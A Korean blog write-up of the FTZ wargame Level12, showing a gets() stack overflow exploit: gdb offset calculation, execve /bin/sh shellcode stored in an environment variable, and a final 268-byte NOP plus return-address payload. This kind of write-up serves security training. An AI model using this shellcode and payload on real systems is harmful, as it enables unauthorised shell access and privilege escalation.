ii4gsp

FTZ - Level12 본문

시스템 해킹/FTZ

FTZ - Level12

ii4gsp 2020. 1. 8. 17:49

힌트 파일을열어 보니 소스코드가 주어지는데 이전에 풀었던 level11과 strcpy()함수가 아닌 gets()함수로 바뀐것빼고는 유형이 같다.

 

 

 

 

gdb로 attackme파일을 열어 disas main을 하고

<main+49> 부분에서  0xfffffef8은 2진수로 1110 1111 1000인데 1의 보수를 구하면 0001 0000 0111이되고 2의 보수를 구해주면 +1이 되기때문에 264가 된다. str에서  ebp까지의 거리는 264byte라는것을 알 수 있다.

ret는 ebp의 4byte 아래에 위치함으로 268byte다.

 

 

 

 

export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

환경변수에 25byte쉘 코드를 등록해주었다.

 

 

 

 

#include <stdio.h>

int main()
{
	printf("%p\n", getenv("shellcode"));
    return 0;
}

환경변수에 등록된 쉘 코드의 주소를  알아내기 위해 c언어 코드를 작성해주었다.

 

 

 

 

gcc로 컴파일해주고 실행하면 쉘 코드의 주소가 나온다.

쉘 코드의 주소를 알았으니 이제 페이로드를 작성할수있다.

 

 

 

 

(python -c 'print "\x90" * str ~ ret까지의 거리 + "쉘 코드 주소"';cat) | ./attackme

 

 

 

payload

(python -c 'print "\x90" * 268 + "\xee\xfe\xff\xbf"';cat) | ./attackme

'시스템 해킹 > FTZ' 카테고리의 다른 글

FTZ - Level15  (0) 2020.01.10
FTZ - Level14  (0) 2020.01.09
FTZ - Level13  (0) 2020.01.08
FTZ - Level11  (0) 2020.01.07
FTZ - Level9  (0) 2020.01.06
Comments